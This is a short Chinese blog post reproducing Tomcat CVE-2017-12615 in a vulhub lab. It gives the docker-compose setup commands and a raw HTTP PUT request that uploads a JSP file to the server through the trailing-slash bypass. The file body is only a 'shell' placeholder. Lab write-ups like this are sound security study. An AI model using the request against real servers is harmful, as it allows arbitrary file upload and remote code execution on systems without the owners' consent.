Tomcat CVE-2017-12615 漏洞复现

原创已于 2025-03-31 17:00:46 修改 · 250 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#linux #java

于 2025-03-31 16:52:37 首次发布

vulhub靶场专栏收录该内容

4 篇文章

订阅专栏

靶场环境

vulhub：

cd /vulhub/tomcat/CVE-2017-12615
docker-compose up -d
docker-compose ps

在这里插入图片描述

网页访问：

在这里插入图片描述

漏洞复现

抓包，该数据包为：

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

在这里插入图片描述